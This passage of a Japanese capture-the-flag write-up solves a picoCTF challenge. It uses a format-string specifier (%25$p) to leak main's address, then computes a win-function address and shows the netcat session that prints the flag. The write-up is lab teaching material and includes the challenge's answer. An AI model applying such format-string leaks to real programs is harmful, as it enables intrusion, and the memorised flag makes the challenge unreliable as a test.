具体的には%23$pを入力すればよい(概略:%6$pがスタック先頭の8bit値$rspを返すため、%7$pは$rsp+0x8、%8$pは$rsp+0x10を返す。この要領で考えていくと%23$pは$rsp+0x88を返すことになる)。
(先ほどのスタックから引用) 0x7fffffffdb90: 0xffffdc80 0x00007fff 0x55555400 0x00005555
この漏洩が成功することを確認する。rで再度デバッグを開始し、%23$pを入力すると、main関数のアドレスが出力されるはずだ。
自分の環境では出力が読み取れないので、$rsiを介して確認しているが、確かにmain関数のアドレスが表示されている。
$rsi : 0x00007fffffffd960 → "0x555555555400\n" # p $rsi でも確認できる
ここまで来たら実際に攻撃を行えばよい。main関数のアドレスを得て、そこから0x96減じたアドレスを入力すればflagが得られる。
ただ、サーバ側とは少しスタック構造にズレがあるらしく、%23$pではなく%25$pを入力しないとmainのアドレスは得られない。理由は不明。
$ nc rescued-float.picoctf.net 52655
Enter your name:%25$p
0x5b25d2846400
enter the address to jump to, ex => 0x12345: 0x5b25d284636a
You won!
picoCTF{p13_5h0u1dn'7_134k_4f15e15f}
補足:なんで%6$pがスタック先頭?→(この環境では)printfの引数は6個までレジスタから取られ、残りはスタックから取られるから